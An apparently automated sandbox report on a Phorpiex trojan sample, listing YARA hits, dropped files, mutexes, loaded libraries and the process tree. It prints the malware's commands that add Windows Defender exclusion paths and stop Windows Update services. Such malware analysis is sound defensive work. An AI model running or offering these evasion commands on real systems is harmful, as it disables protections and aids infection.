Source: C:\Users\user\AppData\Local\Temp\33080.scr

Code function: 1_2_004059B0 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,

1_2_004059B0

Source: C:\Users\user\AppData\Local\Temp\33080.scr

1_2_004059B0

Spam, unwanted Advertisements and Ransom Demands

Yara detected Phorpiex

Source: Yara match	File source: 18.0.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 33080.scr PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 4628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 818921588.exe PID: 1516, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe, type: DROPPED
Source: Yara match	File source: C:\Windows\sysppvrdnvs.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\33080.scr, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\818921588.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_0040FB45 NtQueryVirtualMemory,	1_2_0040FB45
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_0040DF20 NtQuerySystemTime,RtlTimeToSecondsSince1980,	1_2_0040DF20
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_0040FB45 NtQueryVirtualMemory,	2_2_0040FB45
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_0040DF20 NtQuerySystemTime,RtlTimeToSecondsSince1980,	2_2_0040DF20
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_0040FB45 NtQueryVirtualMemory,	17_2_0040FB45
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_0040DF20 NtQuerySystemTime,RtlTimeToSecondsSince1980,	17_2_0040DF20

Source: C:\Users\user\AppData\Local\Temp\33080.scr

File created: C:\Windows\sysppvrdnvs.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_004084D0	1_2_004084D0
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_004084F9	1_2_004084F9
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_00404090	1_2_00404090
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_0040AEB0	1_2_0040AEB0
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_00404970	1_2_00404970
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_0040F908	1_2_0040F908
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_004084D0	2_2_004084D0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_004084F9	2_2_004084F9
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_00404090	2_2_00404090
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_0040AEB0	2_2_0040AEB0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_00404970	2_2_00404970
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_0040F908	2_2_0040F908
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_004084D0	17_2_004084D0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_004084F9	17_2_004084F9
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_00404090	17_2_00404090
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_0040AEB0	17_2_0040AEB0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_00404970	17_2_00404970
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_0040F908	17_2_0040F908

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe 9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\33080.scr 9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D

Source: Bjl3geiFEK.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@27/15@0/7

Source: C:\Users\user\AppData\Local\Temp\33080.scr

Code function: 1_2_00406F70 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

1_2_00406F70

Source: C:\Users\user\AppData\Local\Temp\33080.scr

Code function: 1_2_00406660 CoInitialize,CoCreateInstance,wsprintfW,wsprintfW,

1_2_00406660

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\sysppvrdnvs.exe	Mutant created: \Sessions\1\BaseNamedObjects\mmn7nnm8na
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3236:120:WilError_03

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

File created: C:\Users\user\AppData\Local\Temp\33080.scr

Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Command line argument: 778g87b7b8787b7	0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Command line argument: 778g87b7b8787b7	0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Command line argument: 778g87b7b8787b7	0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Command line argument: 778g87b7b8787b7	0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Command line argument: %s\%s	0_2_004B10B0
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Command line argument: %s\%d%s	0_2_004B10B0

Source: Bjl3geiFEK.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Bjl3geiFEK.exe "C:\Users\user\Desktop\Bjl3geiFEK.exe"
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Process created: C:\Users\user\AppData\Local\Temp\33080.scr "C:\Users\user\AppData\Local\Temp\33080.scr" /S
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Process created: C:\Windows\sysppvrdnvs.exe C:\Windows\sysppvrdnvs.exe
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\sysppvrdnvs.exe "C:\Windows\sysppvrdnvs.exe"
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\818921588.exe C:\Users\user\AppData\Local\Temp\818921588.exe
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Process created: C:\Users\user\AppData\Local\Temp\33080.scr "C:\Users\user\AppData\Local\Temp\33080.scr" /S	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Process created: C:\Windows\sysppvrdnvs.exe C:\Windows\sysppvrdnvs.exe	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\818921588.exe C:\Users\user\AppData\Local\Temp\818921588.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait	Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: Bjl3geiFEK.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Bjl3geiFEK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Bjl3geiFEK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Bjl3geiFEK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Bjl3geiFEK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Bjl3geiFEK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

0_2_004B10B0

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

Code function: 0_2_004B1CB1 push ecx; ret

0_2_004B1CC4

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

File created: C:\Users\user\AppData\Local\Temp\33080.scr

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

